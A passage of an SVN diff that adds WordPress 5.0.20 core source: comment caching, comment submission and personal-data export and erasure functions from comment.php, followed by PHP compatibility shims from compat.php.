+ * Removes a comment from the object cache.
+ *
+ * @since 2.3.0
+ *
+ * @param int|array $ids Comment ID or an array of comment IDs to remove from cache.
+ */
+function clean_comment_cache($ids) {
+	foreach ( (array) $ids as $id ) {
+		wp_cache_delete( $id, 'comment' );
+
+		/**
+		 * Fires immediately after a comment has been removed from the object cache.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param int $id Comment ID.
+		 */
+		do_action( 'clean_comment_cache', $id );
+	}
+
+	wp_cache_set( 'last_changed', microtime(), 'comment' );
+}
+
+/**
+ * Updates the comment cache of given comments.
+ *
+ * Will add the comments in $comments to the cache. If comment ID already exists
+ * in the comment cache then it will not be updated. The comment is added to the
+ * cache using the comment group with the key using the ID of the comments.
+ *
+ * @since 2.3.0
+ * @since 4.4.0 Introduced the `$update_meta_cache` parameter.
+ *
+ * @param array $comments          Array of comment row objects
+ * @param bool  $update_meta_cache Whether to update commentmeta cache. Default true.
+ */
+function update_comment_cache( $comments, $update_meta_cache = true ) {
+	foreach ( (array) $comments as $comment )
+		wp_cache_add($comment->comment_ID, $comment, 'comment');
+
+	if ( $update_meta_cache ) {
+		// Avoid `wp_list_pluck()` in case `$comments` is passed by reference.
+		$comment_ids = array();
+		foreach ( $comments as $comment ) {
+			$comment_ids[] = $comment->comment_ID;
+		}
+		update_meta_cache( 'comment', $comment_ids );
+	}
+}
+
+/**
+ * Adds any comments from the given IDs to the cache that do not already exist in cache.
+ *
+ * @since 4.4.0
+ * @access private
+ *
+ * @see update_comment_cache()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $comment_ids       Array of comment IDs.
+ * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
+ */
+function _prime_comment_caches( $comment_ids, $update_meta_cache = true ) {
+	global $wpdb;
+
+	$non_cached_ids = _get_non_cached_ids( $comment_ids, 'comment' );
+	if ( !empty( $non_cached_ids ) ) {
+		$fresh_comments = $wpdb->get_results( sprintf( "SELECT $wpdb->comments.* FROM $wpdb->comments WHERE comment_ID IN (%s)", join( ",", array_map( 'intval', $non_cached_ids ) ) ) );
+
+		update_comment_cache( $fresh_comments, $update_meta_cache );
+	}
+}
+
+//
+// Internal
+//
+
+/**
+ * Close comments on old posts on the fly, without any extra DB queries. Hooked to the_posts.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param WP_Post  $posts Post data object.
+ * @param WP_Query $query Query object.
+ * @return array
+ */
+function _close_comments_for_old_posts( $posts, $query ) {
+	if ( empty( $posts ) || ! $query->is_singular() || ! get_option( 'close_comments_for_old_posts' ) )
+		return $posts;
+
+	/**
+	 * Filters the list of post types to automatically close comments for.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $post_types An array of registered post types. Default array with 'post'.
+	 */
+	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
+	if ( ! in_array( $posts[0]->post_type, $post_types ) )
+		return $posts;
+
+	$days_old = (int) get_option( 'close_comments_days_old' );
+	if ( ! $days_old )
+		return $posts;
+
+	if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) {
+		$posts[0]->comment_status = 'closed';
+		$posts[0]->ping_status = 'closed';
+	}
+
+	return $posts;
+}
+
+/**
+ * Close comments on an old post. Hooked to comments_open and pings_open.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param bool $open Comments open or closed
+ * @param int $post_id Post ID
+ * @return bool $open
+ */
+function _close_comments_for_old_post( $open, $post_id ) {
+	if ( ! $open )
+		return $open;
+
+	if ( !get_option('close_comments_for_old_posts') )
+		return $open;
+
+	$days_old = (int) get_option('close_comments_days_old');
+	if ( !$days_old )
+		return $open;
+
+	$post = get_post($post_id);
+
+	/** This filter is documented in wp-includes/comment.php */
+	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
+	if ( ! in_array( $post->post_type, $post_types ) )
+		return $open;
+
+	// Undated drafts should not show up as comments closed.
+	if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
+		return $open;
+	}
+
+	if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) )
+		return false;
+
+	return $open;
+}
+
+/**
+ * Handles the submission of a comment, usually posted to wp-comments-post.php via a comment form.
+ *
+ * This function expects unslashed data, as opposed to functions such as `wp_new_comment()` which
+ * expect slashed data.
+ *
+ * @since 4.4.0
+ *
+ * @param array $comment_data {
+ *     Comment data.
+ *
+ *     @type string|int $comment_post_ID             The ID of the post that relates to the comment.
+ *     @type string     $author                      The name of the comment author.
+ *     @type string     $email                       The comment author email address.
+ *     @type string     $url                         The comment author URL.
+ *     @type string     $comment                     The content of the comment.
+ *     @type string|int $comment_parent              The ID of this comment's parent, if any. Default 0.
+ *     @type string     $_wp_unfiltered_html_comment The nonce value for allowing unfiltered HTML.
+ * }
+ * @return WP_Comment|WP_Error A WP_Comment object on success, a WP_Error object on failure.
+ */
+function wp_handle_comment_submission( $comment_data ) {
+
+ 	$comment_post_ID = $comment_parent = $user_ID = 0;
+	$comment_author = $comment_author_email = $comment_author_url = $comment_content = null;
+
+	if ( isset( $comment_data['comment_post_ID'] ) ) {
+		$comment_post_ID = (int) $comment_data['comment_post_ID'];
+	}
+	if ( isset( $comment_data['author'] ) && is_string( $comment_data['author'] ) ) {
+		$comment_author = trim( strip_tags( $comment_data['author'] ) );
+	}
+	if ( isset( $comment_data['email'] ) && is_string( $comment_data['email'] ) ) {
+		$comment_author_email = trim( $comment_data['email'] );
+	}
+	if ( isset( $comment_data['url'] ) && is_string( $comment_data['url'] ) ) {
+		$comment_author_url = trim( $comment_data['url'] );
+	}
+	if ( isset( $comment_data['comment'] ) && is_string( $comment_data['comment'] ) ) {
+		$comment_content = trim( $comment_data['comment'] );
+	}
+	if ( isset( $comment_data['comment_parent'] ) ) {
+		$comment_parent = absint( $comment_data['comment_parent'] );
+	}
+
+	$post = get_post( $comment_post_ID );
+
+	if ( empty( $post->comment_status ) ) {
+
+		/**
+		 * Fires when a comment is attempted on a post that does not exist.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param int $comment_post_ID Post ID.
+		 */
+		do_action( 'comment_id_not_found', $comment_post_ID );
+
+		return new WP_Error( 'comment_id_not_found' );
+
+	}
+
+	// get_post_status() will get the parent status for attachments.
+	$status = get_post_status( $post );
+
+	if ( ( 'private' == $status ) && ! current_user_can( 'read_post', $comment_post_ID ) ) {
+		return new WP_Error( 'comment_id_not_found' );
+	}
+
+	$status_obj = get_post_status_object( $status );
+
+	if ( ! comments_open( $comment_post_ID ) ) {
+
+		/**
+		 * Fires when a comment is attempted on a post that has comments closed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param int $comment_post_ID Post ID.
+		 */
+		do_action( 'comment_closed', $comment_post_ID );
+
+		return new WP_Error( 'comment_closed', __( 'Sorry, comments are closed for this item.' ), 403 );
+
+	} elseif ( 'trash' == $status ) {
+
+		/**
+		 * Fires when a comment is attempted on a trashed post.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $comment_post_ID Post ID.
+		 */
+		do_action( 'comment_on_trash', $comment_post_ID );
+
+		return new WP_Error( 'comment_on_trash' );
+
+	} elseif ( ! $status_obj->public && ! $status_obj->private ) {
+
+		/**
+		 * Fires when a comment is attempted on a post in draft mode.
+		 *
+		 * @since 1.5.1
+		 *
+		 * @param int $comment_post_ID Post ID.
+		 */
+		do_action( 'comment_on_draft', $comment_post_ID );
+
+		if ( current_user_can( 'read_post', $comment_post_ID ) ) {
+			return new WP_Error( 'comment_on_draft', __( 'Sorry, comments are not allowed for this item.' ), 403 );
+		} else {
+			return new WP_Error( 'comment_on_draft' );
+		}
+
+	} elseif ( post_password_required( $comment_post_ID ) ) {
+
+		/**
+		 * Fires when a comment is attempted on a password-protected post.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $comment_post_ID Post ID.
+		 */
+		do_action( 'comment_on_password_protected', $comment_post_ID );
+
+		return new WP_Error( 'comment_on_password_protected' );
+
+	} else {
+
+		/**
+		 * Fires before a comment is posted.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param int $comment_post_ID Post ID.
+		 */
+		do_action( 'pre_comment_on_post', $comment_post_ID );
+
+	}
+
+	// If the user is logged in
+	$user = wp_get_current_user();
+	if ( $user->exists() ) {
+		if ( empty( $user->display_name ) ) {
+			$user->display_name=$user->user_login;
+		}
+		$comment_author       = $user->display_name;
+		$comment_author_email = $user->user_email;
+		$comment_author_url   = $user->user_url;
+		$user_ID              = $user->ID;
+		if ( current_user_can( 'unfiltered_html' ) ) {
+			if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
+				|| ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
+			) {
+				kses_remove_filters(); // start with a clean slate
+				kses_init_filters(); // set up the filters
+				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
+				add_filter( 'pre_comment_content', 'wp_filter_kses' );
+			}
+		}
+	} else {
+		if ( get_option( 'comment_registration' ) ) {
+			return new WP_Error( 'not_logged_in', __( 'Sorry, you must be logged in to comment.' ), 403 );
+		}
+	}
+
+	$comment_type = '';
+
+	if ( get_option( 'require_name_email' ) && ! $user->exists() ) {
+		if ( '' == $comment_author_email || '' == $comment_author ) {
+			return new WP_Error( 'require_name_email', __( '<strong>ERROR</strong>: please fill the required fields (name, email).' ), 200 );
+		} elseif ( ! is_email( $comment_author_email ) ) {
+			return new WP_Error( 'require_valid_email', __( '<strong>ERROR</strong>: please enter a valid email address.' ), 200 );
+		}
+	}
+
+	if ( '' == $comment_content ) {
+		return new WP_Error( 'require_valid_comment', __( '<strong>ERROR</strong>: please type a comment.' ), 200 );
+	}
+
+	$commentdata = compact(
+		'comment_post_ID',
+		'comment_author',
+		'comment_author_email',
+		'comment_author_url',
+		'comment_content',
+		'comment_type',
+		'comment_parent',
+		'user_ID'
+	);
+
+	$check_max_lengths = wp_check_comment_data_max_lengths( $commentdata );
+	if ( is_wp_error( $check_max_lengths ) ) {
+		return $check_max_lengths;
+	}
+
+	$comment_id = wp_new_comment( wp_slash( $commentdata ), true );
+	if ( is_wp_error( $comment_id ) ) {
+		return $comment_id;
+	}
+
+	if ( ! $comment_id ) {
+		return new WP_Error( 'comment_save_error', __( '<strong>ERROR</strong>: The comment could not be saved. Please try again later.' ), 500 );
+	}
+
+	return get_comment( $comment_id );
+}
+
+/**
+ * Registers the personal data exporter for comments.
+ *
+ * @since 4.9.6
+ *
+ * @param array $exporters An array of personal data exporters.
+ * @return array $exporters An array of personal data exporters.
+ */
+function wp_register_comment_personal_data_exporter( $exporters ) {
+	$exporters['wordpress-comments'] = array(
+		'exporter_friendly_name' => __( 'WordPress Comments' ),
+		'callback'               => 'wp_comments_personal_data_exporter',
+	);
+
+	return $exporters;
+}
+
+/**
+ * Finds and exports personal data associated with an email address from the comments table.
+ *
+ * @since 4.9.6
+ *
+ * @param string $email_address The comment author email address.
+ * @param int    $page          Comment page.
+ * @return array $return An array of personal data.
+ */
+function wp_comments_personal_data_exporter( $email_address, $page = 1 ) {
+	// Limit us to 500 comments at a time to avoid timing out.
+	$number = 500;
+	$page   = (int) $page;
+
+	$data_to_export = array();
+
+	$comments = get_comments(
+		array(
+			'author_email'              => $email_address,
+			'number'                    => $number,
+			'paged'                     => $page,
+			'order_by'                  => 'comment_ID',
+			'order'                     => 'ASC',
+			'update_comment_meta_cache' => false,
+		)
+	);
+
+	$comment_prop_to_export = array(
+		'comment_author'       => __( 'Comment Author' ),
+		'comment_author_email' => __( 'Comment Author Email' ),
+		'comment_author_url'   => __( 'Comment Author URL' ),
+		'comment_author_IP'    => __( 'Comment Author IP' ),
+		'comment_agent'        => __( 'Comment Author User Agent' ),
+		'comment_date'         => __( 'Comment Date' ),
+		'comment_content'      => __( 'Comment Content' ),
+		'comment_link'         => __( 'Comment URL' ),
+	);
+
+	foreach ( (array) $comments as $comment ) {
+		$comment_data_to_export = array();
+
+		foreach ( $comment_prop_to_export as $key => $name ) {
+			$value = '';
+
+			switch ( $key ) {
+				case 'comment_author':
+				case 'comment_author_email':
+				case 'comment_author_url':
+				case 'comment_author_IP':
+				case 'comment_agent':
+				case 'comment_date':
+					$value = $comment->{$key};
+					break;
+
+				case 'comment_content':
+					$value = get_comment_text( $comment->comment_ID );
+					break;
+
+				case 'comment_link':
+					$value = get_comment_link( $comment->comment_ID );
+					$value = sprintf(
+						'<a href="%s" target="_blank" rel="noreferrer noopener">%s</a>',
+						esc_url( $value ),
+						esc_html( $value )
+					);
+					break;
+			}
+
+			if ( ! empty( $value ) ) {
+				$comment_data_to_export[] = array(
+					'name'  => $name,
+					'value' => $value,
+				);
+			}
+		}
+
+		$data_to_export[] = array(
+			'group_id'    => 'comments',
+			'group_label' => __( 'Comments' ),
+			'item_id'     => "comment-{$comment->comment_ID}",
+			'data'        => $comment_data_to_export,
+		);
+	}
+
+	$done = count( $comments ) < $number;
+
+	return array(
+		'data' => $data_to_export,
+		'done' => $done,
+	);
+}
+
+/**
+ * Registers the personal data eraser for comments.
+ *
+ * @since 4.9.6
+ *
+ * @param  array $erasers An array of personal data erasers.
+ * @return array $erasers An array of personal data erasers.
+ */
+function wp_register_comment_personal_data_eraser( $erasers ) {
+	$erasers['wordpress-comments'] = array(
+		'eraser_friendly_name' => __( 'WordPress Comments' ),
+		'callback'             => 'wp_comments_personal_data_eraser',
+	);
+
+	return $erasers;
+}
+
+/**
+ * Erases personal data associated with an email address from the comments table.
+ *
+ * @since 4.9.6
+ *
+ * @param  string $email_address The comment author email address.
+ * @param  int    $page          Comment page.
+ * @return array
+ */
+function wp_comments_personal_data_eraser( $email_address, $page = 1 ) {
+	global $wpdb;
+
+	if ( empty( $email_address ) ) {
+		return array(
+			'items_removed'  => false,
+			'items_retained' => false,
+			'messages'       => array(),
+			'done'           => true,
+		);
+	}
+
+	// Limit us to 500 comments at a time to avoid timing out.
+	$number         = 500;
+	$page           = (int) $page;
+	$items_removed  = false;
+	$items_retained = false;
+
+	$comments = get_comments(
+		array(
+			'author_email'       => $email_address,
+			'number'             => $number,
+			'paged'              => $page,
+			'order_by'           => 'comment_ID',
+			'order'              => 'ASC',
+			'include_unapproved' => true,
+		)
+	);
+
+	/* translators: Name of a comment's author after being anonymized. */
+	$anon_author = __( 'Anonymous' );
+	$messages    = array();
+
+	foreach ( (array) $comments as $comment ) {
+		$anonymized_comment                         = array();
+		$anonymized_comment['comment_agent']        = '';
+		$anonymized_comment['comment_author']       = $anon_author;
+		$anonymized_comment['comment_author_email'] = '';
+		$anonymized_comment['comment_author_IP']    = wp_privacy_anonymize_data( 'ip', $comment->comment_author_IP );
+		$anonymized_comment['comment_author_url']   = '';
+		$anonymized_comment['user_id']              = 0;
+
+		$comment_id = (int) $comment->comment_ID;
+
+		/**
+		 * Filters whether to anonymize the comment.
+		 *
+		 * @since 4.9.6
+		 *
+		 * @param bool|string                    Whether to apply the comment anonymization (bool).
+		 *                                       Custom prevention message (string). Default true.
+		 * @param WP_Comment $comment            WP_Comment object.
+		 * @param array      $anonymized_comment Anonymized comment data.
+		 */
+		$anon_message = apply_filters( 'wp_anonymize_comment', true, $comment, $anonymized_comment );
+
+		if ( true !== $anon_message ) {
+			if ( $anon_message && is_string( $anon_message ) ) {
+				$messages[] = esc_html( $anon_message );
+			} else {
+				/* translators: %d: Comment ID */
+				$messages[] = sprintf( __( 'Comment %d contains personal data but could not be anonymized.' ), $comment_id );
+			}
+
+			$items_retained = true;
+
+			continue;
+		}
+
+		$args = array(
+			'comment_ID' => $comment_id,
+		);
+
+		$updated = $wpdb->update( $wpdb->comments, $anonymized_comment, $args );
+
+		if ( $updated ) {
+			$items_removed = true;
+			clean_comment_cache( $comment_id );
+		} else {
+			$items_retained = true;
+		}
+	}
+
+	$done = count( $comments ) < $number;
+
+	return array(
+		'items_removed'  => $items_removed,
+		'items_retained' => $items_retained,
+		'messages'       => $messages,
+		'done'           => $done,
+	);
+}
+
+/**
+ * Sets the last changed time for the 'comment' cache group.
+ *
+ * @since 5.0.0
+ */
+function wp_cache_set_comments_last_changed() {
+	wp_cache_set( 'last_changed', microtime(), 'comment' );
+}
Index: /tags/5.0.20/src/wp-includes/compat.php
===================================================================
--- /tags/5.0.20/src/wp-includes/compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/compat.php	(revision 56912)
@@ -0,0 +1,539 @@
+<?php
+/**
+ * WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
+ *
+ * @package PHP
+ * @access private
+ */
+
+// If gettext isn't available
+if ( !function_exists('_') ) {
+	function _($string) {
+		return $string;
+	}
+}
+
+/**
+ * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
+ *
+ * @ignore
+ * @since 4.2.2
+ * @access private
+ *
+ * @staticvar string $utf8_pcre
+ *
+ * @param bool $set - Used for testing only
+ *             null   : default - get PCRE/u capability
+ *             false  : Used for testing - return false for future calls to this function
+ *             'reset': Used for testing - restore default behavior of this function
+ */
+function _wp_can_use_pcre_u( $set = null ) {
+	static $utf8_pcre = 'reset';
+
+	if ( null !== $set ) {
+		$utf8_pcre = $set;
+	}
+
+	if ( 'reset' === $utf8_pcre ) {
+		$utf8_pcre = @preg_match( '/^./u', 'a' );
+	}
+
+	return $utf8_pcre;
+}
+
+if ( ! function_exists( 'mb_substr' ) ) :
+	/**
+	 * Compat function to mimic mb_substr().
+	 *
+	 * @ignore
+	 * @since 3.2.0
+	 *
+	 * @see _mb_substr()
+	 *
+	 * @param string      $str      The string to extract the substring from.
+	 * @param int         $start    Position to being extraction from in `$str`.
+	 * @param int|null    $length   Optional. Maximum number of characters to extract from `$str`.
+	 *                              Default null.
+	 * @param string|null $encoding Optional. Character encoding to use. Default null.
+	 * @return string Extracted substring.
+	 */
+	function mb_substr( $str, $start, $length = null, $encoding = null ) {
+		return _mb_substr( $str, $start, $length, $encoding );
+	}
+endif;
+
+/**
+ * Internal compat function to mimic mb_substr().
+ *
+ * Only understands UTF-8 and 8bit.  All other character sets will be treated as 8bit.
+ * For $encoding === UTF-8, the $str input is expected to be a valid UTF-8 byte sequence.
+ * The behavior of this function for invalid inputs is undefined.
+ *
+ * @ignore
+ * @since 3.2.0
+ *
+ * @param string      $str      The string to extract the substring from.
+ * @param int         $start    Position to being extraction from in `$str`.
+ * @param int|null    $length   Optional. Maximum number of characters to extract from `$str`.
+ *                              Default null.
+ * @param string|null $encoding Optional. Character encoding to use. Default null.
+ * @return string Extracted substring.
+ */
+function _mb_substr( $str, $start, $length = null, $encoding = null ) {
+	if ( null === $encoding ) {
+		$encoding = get_option( 'blog_charset' );
+	}
+
+	/*
+	 * The solution below works only for UTF-8, so in case of a different
+	 * charset just use built-in substr().
+	 */
+	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) ) {
+		return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
+	}
+
+	if ( _wp_can_use_pcre_u() ) {
+		// Use the regex unicode support to separate the UTF-8 characters into an array.
+		preg_match_all( '/./us', $str, $match );
+		$chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length );
+		return implode( '', $chars );
+	}
+
+	$regex = '/(
+		  [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
+		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
+		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
+		| [\xE1-\xEC][\x80-\xBF]{2}
+		| \xED[\x80-\x9F][\x80-\xBF]
+		| [\xEE-\xEF][\x80-\xBF]{2}
+		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
+		| [\xF1-\xF3][\x80-\xBF]{3}
+		| \xF4[\x80-\x8F][\x80-\xBF]{2}
+	)/x';
+
+	// Start with 1 element instead of 0 since the first thing we do is pop.
+	$chars = array( '' );
+	do {
+		// We had some string left over from the last round, but we counted it in that last round.
+		array_pop( $chars );
+
+		/*
+		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
+		 * the rest of the string).
+		 */
+		$pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
+
+		$chars = array_merge( $chars, $pieces );
+
+	// If there's anything left over, repeat the loop.
+	} while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) );
+
+	return join( '', array_slice( $chars, $start, $length ) );
+}
+
+if ( ! function_exists( 'mb_strlen' ) ) :
+	/**
+	 * Compat function to mimic mb_strlen().
+	 *
+	 * @ignore
+	 * @since 4.2.0
+	 *
+	 * @see _mb_strlen()
+	 *
+	 * @param string      $str      The string to retrieve the character length from.
+	 * @param string|null $encoding Optional. Character encoding to use. Default null.
+	 * @return int String length of `$str`.
+	 */
+	function mb_strlen( $str, $encoding = null ) {
+		return _mb_strlen( $str, $encoding );
+	}
+endif;
+
+/**
+ * Internal compat function to mimic mb_strlen().
+ *
+ * Only understands UTF-8 and 8bit.  All other character sets will be treated as 8bit.
+ * For $encoding === UTF-8, the `$str` input is expected to be a valid UTF-8 byte
+ * sequence. The behavior of this function for invalid inputs is undefined.
+ *
+ * @ignore
+ * @since 4.2.0
+ *
+ * @param string      $str      The string to retrieve the character length from.
+ * @param string|null $encoding Optional. Character encoding to use. Default null.
+ * @return int String length of `$str`.
+ */
+function _mb_strlen( $str, $encoding = null ) {
+	if ( null === $encoding ) {
+		$encoding = get_option( 'blog_charset' );
+	}
+
+	/*
+	 * The solution below works only for UTF-8, so in case of a different charset
+	 * just use built-in strlen().
+	 */
+	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) ) {
+		return strlen( $str );
+	}
+
+	if ( _wp_can_use_pcre_u() ) {
+		// Use the regex unicode support to separate the UTF-8 characters into an array.
+		preg_match_all( '/./us', $str, $match );
+		return count( $match[0] );
+	}
+
+	$regex = '/(?:
+		  [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
+		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
+		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
+		| [\xE1-\xEC][\x80-\xBF]{2}
+		| \xED[\x80-\x9F][\x80-\xBF]
+		| [\xEE-\xEF][\x80-\xBF]{2}
+		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
+		| [\xF1-\xF3][\x80-\xBF]{3}
+		| \xF4[\x80-\x8F][\x80-\xBF]{2}
+	)/x';
+
+	// Start at 1 instead of 0 since the first thing we do is decrement.
+	$count = 1;
+	do {
+		// We had some string left over from the last round, but we counted it in that last round.
+		$count--;
+
+		/*
+		 * Split by UTF-8 character, limit to 1000 characters (last array element will contain
+		 * the rest of the string).
+		 */
+		$pieces = preg_split( $regex, $str, 1000 );
+
+		// Increment.
+		$count += count( $pieces );
+
+	// If there's anything left over, repeat the loop.
+	} while ( $str = array_pop( $pieces ) );
+
+	// Fencepost: preg_split() always returns one extra item in the array.
+	return --$count;
+}
+
+if ( !function_exists('hash_hmac') ):
+/**
+ * Compat function to mimic hash_hmac().
+ *
+ * @ignore
+ * @since 3.2.0
+ *
+ * @see _hash_hmac()
+ *
+ * @param string $algo       Hash algorithm. Accepts 'md5' or 'sha1'.
+ * @param string $data       Data to be hashed.
+ * @param string $key        Secret key to use for generating the hash.
+ * @param bool   $raw_output Optional. Whether to output raw binary data (true),
+ *                           or lowercase hexits (false). Default false.
+ * @return string|false The hash in output determined by `$raw_output`. False if `$algo`
+ *                      is unknown or invalid.
+ */
+function hash_hmac($algo, $data, $key, $raw_output = false) {
+	return _hash_hmac($algo, $data, $key, $raw_output);
+}
+endif;
+
+/**
+ * Internal compat function to mimic hash_hmac().
+ *
+ * @ignore
+ * @since 3.2.0
+ *
+ * @param string $algo       Hash algorithm. Accepts 'md5' or 'sha1'.
+ * @param string $data       Data to be hashed.
+ * @param string $key        Secret key to use for generating the hash.
+ * @param bool   $raw_output Optional. Whether to output raw binary data (true),
+ *                           or lowercase hexits (false). Default false.
+ * @return string|false The hash in output determined by `$raw_output`. False if `$algo`
+ *                      is unknown or invalid.
+ */
+function _hash_hmac($algo, $data, $key, $raw_output = false) {
+	$packs = array('md5' => 'H32', 'sha1' => 'H40');
+
+	if ( !isset($packs[$algo]) )
+		return false;
+
+	$pack = $packs[$algo];
+
+	if (strlen($key) > 64)
+		$key = pack($pack, $algo($key));
+
+	$key = str_pad($key, 64, chr(0));
+
+	$ipad = (substr($key, 0, 64) ^ str_repeat(chr(0x36), 64));
+	$opad = (substr($key, 0, 64) ^ str_repeat(chr(0x5C), 64));
+
+	$hmac = $algo($opad . pack($pack, $algo($ipad . $data)));
+
+	if ( $raw_output )
+		return pack( $pack, $hmac );
+	return $hmac;
+}
+
+if ( !function_exists('json_encode') ) {
+	function json_encode( $string ) {
+		global $wp_json;
+
+		if ( ! ( $wp_json instanceof Services_JSON ) ) {
+			require_once( ABSPATH . WPINC . '/class-json.php' );
+			$wp_json = new Services_JSON();
+		}
+
+		return $wp_json->encodeUnsafe( $string );
+	}
+}
+
+if ( !function_exists('json_decode') ) {
+	/**
+	 * @global Services_JSON $wp_json
+	 * @param string $string
+	 * @param bool   $assoc_array
+	 * @return object|array
+	 */
+	function json_decode( $string, $assoc_array = false ) {
+		global $wp_json;
+
+		if ( ! ($wp_json instanceof Services_JSON ) ) {
+			require_once( ABSPATH . WPINC . '/class-json.php' );
+			$wp_json = new Services_JSON();
+		}
+
+		$res = $wp_json->decode( $string );
+		if ( $assoc_array )
+			$res = _json_decode_object_helper( $res );
+		return $res;
+	}
+
+	/**
+	 * @param object $data
+	 * @return array
+	 */
+	function _json_decode_object_helper($data) {
+		if ( is_object($data) )
+			$data = get_object_vars($data);
+		return is_array($data) ? array_map(__FUNCTION__, $data) : $data;
+	}
+}
+
+if ( ! function_exists( 'hash_equals' ) ) :
+/**
+ * Timing attack safe string comparison
+ *
+ * Compares two strings using the same time whether they're equal or not.
+ *
+ * This function was added in PHP 5.6.
+ *
+ * Note: It can leak the length of a string when arguments of differing length are supplied.
+ *
+ * @since 3.9.2
+ *
+ * @param string $a Expected string.
+ * @param string $b Actual, user supplied, string.
+ * @return bool Whether strings are equal.
+ */
+function hash_equals( $a, $b ) {
+	$a_length = strlen( $a );
+	if ( $a_length !== strlen( $b ) ) {
+		return false;
+	}
+	$result = 0;
+
+	// Do not attempt to "optimize" this.
+	for ( $i = 0; $i < $a_length; $i++ ) {
+		$result |= ord( $a[ $i ] ) ^ ord( $b[ $i ] );
+	}
+
+	return $result === 0;
+}
+endif;
+
+// JSON_PRETTY_PRINT was introduced in PHP 5.4
+// Defined here to prevent a notice when using it with wp_json_encode()
+if ( ! defined( 'JSON_PRETTY_PRINT' ) ) {
+	define( 'JSON_PRETTY_PRINT', 128 );
+}
+
+if ( ! function_exists( 'json_last_error_msg' ) ) :
+	/**
+	 * Retrieves the error string of the last json_encode() or json_decode() call.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @internal This is a compatibility function for PHP <5.5
+	 *
+	 * @return bool|string Returns the error message on success, "No Error" if no error has occurred,
+	 *                     or false on failure.
+	 */
+	function json_last_error_msg() {
+		// See https://core.trac.wordpress.org/ticket/27799.
+		if ( ! function_exists( 'json_last_error' ) ) {
+			return false;
+		}
+
+		$last_error_code = json_last_error();
+
+		// Just in case JSON_ERROR_NONE is not defined.
+		$error_code_none = defined( 'JSON_ERROR_NONE' ) ? JSON_ERROR_NONE : 0;
+
+		switch ( true ) {
+			case $last_error_code === $error_code_none:
+				return 'No error';
+
+			case defined( 'JSON_ERROR_DEPTH' ) && JSON_ERROR_DEPTH === $last_error_code:
+				return 'Maximum stack depth exceeded';
+
+			case defined( 'JSON_ERROR_STATE_MISMATCH' ) && JSON_ERROR_STATE_MISMATCH === $last_error_code:
+				return 'State mismatch (invalid or malformed JSON)';
+
+			case defined( 'JSON_ERROR_CTRL_CHAR' ) && JSON_ERROR_CTRL_CHAR === $last_error_code:
+				return 'Control character error, possibly incorrectly encoded';
+
+			case defined( 'JSON_ERROR_SYNTAX' ) && JSON_ERROR_SYNTAX === $last_error_code:
+				return 'Syntax error';
+
+			case defined( 'JSON_ERROR_UTF8' ) && JSON_ERROR_UTF8 === $last_error_code:
+				return 'Malformed UTF-8 characters, possibly incorrectly encoded';
+
+			case defined( 'JSON_ERROR_RECURSION' ) && JSON_ERROR_RECURSION === $last_error_code:
+				return 'Recursion detected';
+
+			case defined( 'JSON_ERROR_INF_OR_NAN' ) && JSON_ERROR_INF_OR_NAN === $last_error_code:
+				return 'Inf and NaN cannot be JSON encoded';
+
+			case defined( 'JSON_ERROR_UNSUPPORTED_TYPE' ) && JSON_ERROR_UNSUPPORTED_TYPE === $last_error_code:
+				return 'Type is not supported';
+
+			default:
+				return 'An unknown error occurred';
+		}
+	}
+endif;
+
+if ( ! interface_exists( 'JsonSerializable' ) ) {
+	define( 'WP_JSON_SERIALIZE_COMPATIBLE', true );
+	/**
+	 * JsonSerializable interface.
+	 *
+	 * Compatibility shim for PHP <5.4
+	 *
+	 * @link https://secure.php.net/jsonserializable
+	 *
+	 * @since 4.4.0
+	 */
+	interface JsonSerializable {
+		public function jsonSerialize();
+	}
+}
+
+// random_int was introduced in PHP 7.0
+if ( ! function_exists( 'random_int' ) ) {
+	require ABSPATH . WPINC . '/random_compat/random.php';
+}
+
+if ( ! function_exists( 'array_replace_recursive' ) ) :
+	/**
+	 * PHP-agnostic version of {@link array_replace_recursive()}.
+	 *
